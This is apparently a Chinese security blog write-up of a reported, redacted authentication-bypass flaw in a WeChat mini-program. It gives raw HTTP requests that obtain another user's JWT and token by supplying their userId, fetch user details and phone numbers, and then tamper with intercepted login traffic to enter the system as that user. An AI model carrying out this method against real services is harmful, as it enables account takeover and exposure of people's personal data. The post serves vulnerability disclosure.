【漏洞挖掘】记一次权限认证绕过

免责声明

❝

由于传播、利用本公众号”隼目安全”所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号”隼目安全”及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢！

该漏洞已经向相关单位与平台进行报告，本文中图片、内容等均已脱敏！！！

微信搜索小程序xxx

搜索网站

http://xxxx.xxxx.com/login?backUrl=http://cloud.xxxx.com

注册/微信授权登录进入

小程序授权登录抓包获取userid

调用请求payload

POST /imnet/api/getJwtTokenAndToken h2
host: xxxxxx.xxxx.com
content-length: 14
reqable-id: reqable-id-6245450e-dfed-4467-9111-adf9aeb6ebc6
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c11)XWEB/11581
accept: application/json
accept-encoding: gzip, deflate, br
content-type: application/x-www-form-urlencoded
cookie: JSESSIONID=A013BBDC80F295FFEACBEC6434ADC3C1
x-requested-with: XMLHttpRequest
token:xxxxxxxxxx
origin: https://xxxxxx.xxxx.com
sec-fetch-site: same-origin
sec-fetch-mode: cors
sec-fetch-dest: empty
referer: https://xxxxxx.xxxx.com/appPreEntry?token=xxxxxxxxxxxxxxxxxxx&userId=xxxxxxx&procedureLetter=WEIXIN&version=1.0
accept-language: zh-CN,zh;q=0.9

userId=xxxxxxx

即可获取其他用户的jwt令牌与token

调用pyaload

GET /restaurant/wqbUser/pageList h2
host: xxxxxx.xxxx.com
reqable-id: reqable-id-607c2d5e-d427-47cc-b67f-ac10c97fab3a
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.xxxx(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c11)XWEB/11581
accept: */*
accept-encoding: gzip, deflate, br
cookie: xxxxxxxxxxxxxxxxxxxxxxxxx
xweb_xhr: 1
token: E94F04932366FC3756B2319AB312134C 上个payload获取的token放在这里
content-type: application/json
sec-fetch-site: cross-site
sec-fetch-mode: cors
sec-fetch-dest: empty
referer: https://xxxxxxxxxxxx.com/wx95aa572faff6320a/102/page-frame.html
accept-language: zh-CN,zh;q=0.9

调用pyaload获取用户信息和手机号

登录后的网站后面有jwt令牌，修改jwt令牌并进行抓包

将请求包钟的phone改为改jwt令牌相同token下获取的手机号

相应包为true即可放包

成功登录用户系统主页

选择一个系统进入并进行抓包

此处手机号依旧改为之前的手机号

即可进入系统，其他官方系统也是一样的操作方式